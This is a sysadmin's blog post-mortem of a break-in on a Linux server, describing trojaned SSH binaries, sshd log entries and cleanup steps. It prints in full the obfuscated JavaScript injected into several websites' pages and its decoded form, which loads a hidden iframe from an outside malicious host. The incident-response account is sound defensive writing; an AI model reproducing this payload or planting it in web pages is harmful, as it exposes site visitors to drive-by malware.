Post-mortem of security breach on my Linux server

On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I’m involved with.

(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks. The scheduled tasks aren’t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn’t generate any output and therefore shouldn’t cause cron to send email.)

All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn’t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.

It turned out that two Drupal files, /index.php and /includes/bootstrap.inc, had indeed had malicious JavaScript appended to the end of them:

<script>b=new function(){return 2;};if(!+b)String.prototype.test=”harC”;for(i in $=’esrhserh’)if(i==’te’+’st’)m=$[i];try{new Object().wehweh();}catch(q){ss=””;}try{window[‘e’+’v’+’al’](‘asdas’)}catch(q){s=String[“fr”+”omC”+m+”od”+’e’];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=”e”;if({}.asd===’e’)a=document[‘c’+’r’+’e’+’a’+’t’+’e’+’T’+’e’+’x’+’t’+’N’+’o’+’d’+’e’](‘321’);if(a.data==321)t=-1*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i<n.length;i++)ss+=s(eval(“n”+”[“+”i]”));eval(ss);</script>

Since this Drupal site is hardly used nowadays and hasn’t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site’s filesystem hierarchy. However, the thing I couldn’t immediately explain was that neither the modified files nor the directory they lived in were writable by the “apache” user which which owns the web server processes. I said to myself, “Either I’m missing something, or whoever did this had root access to my server.” Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.

Shortly after, when I was just about to leave the house to go to curriculum night at my kids’ school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it’s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn’t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.

Here’s an overview of what I discovered when I performed a full investigation and mitigation:

• The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.
• My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.
• Several other web sites I host were hacked with the same JavaScript:
• /index.php and /wp-feed.php on my WordPress blog
• /charter.html and /index.html on a raw-HTML web site
• /index.php on a CMS Made Simple web site
• /index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)
• /index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site
• Here’s what the obfuscated JavaScript shown above tries to execute:

  if (document.getElementsByTagName('body')[0]) {
      iframer();
  }
  else  {
      document.write("");
  }
  function iframer() {
      var f = document.createElement('iframe');
      f.setAttribute('src','http://googlecheck.cz.cc/index.php?tp=e959139e7f601264');
      f.style.visibility='hidden';
      f.style.position='absolute';
      f.style.left='0';
      f.style.top='0';
      f.setAttribute('width','10');
      f.setAttribute('height','10');
      document.getElementsByTagName('body')[0].appendChild(f);
  }

• Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn’t. I didn’t try any other browsers.

Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.

Unfortunately, I can’t say exactly how the hacker broke into my server. It’s possible that he took advantage of an unpatched security hole in my virtual machine, but it’s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.

In addition to restoring all of the modified web site files and executables (I ran a complete audit with “rpm –verify -a” as well as comparing the whole filesystem to its previous night’s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:

• I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.
• I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn’t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.
• I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).
• I changed my own account password not only on my server, but also everywhere else where I used the same password.

More details about the method and content of the attack

Some interesting log entries from /var/log/secure around when the break-in happened:

Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by 63.223.110.54
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on 0.0.0.0 port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)

I reviewed all of my logs, and this is the only trace I found of the attack (there didn’t even seem to be anything left behind in /root/.bash_profile, although I suppose it’s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.

It’s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24×7, but all of the messages above are considered normal so I wasn’t notified them. I would have been notified if sshd had logged “Accepted publickey|password for root from IP-address-that-I-don’t-usually-use,” but alas the hacker’s version of sshd suppressed this log message.

The following SSH executables were all modified at 12:36pm:

• /usr/sbin/sshd
• /usr/bin/ssh-keygen
• /usr/bin/scp
• /usr/bin/sftp
• /usr/bin/ssh
• /usr/bin/ssh-add
• /usr/bin/ssh-agent
• /usr/bin/ssh-keygen
• /usr/bin/ssh-keyscan

In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The “file” utility claims that it is a “DBase 3 data file (507582464 records),” which is obviously totally bogus.

Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*

Full list of updated RPMs

Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.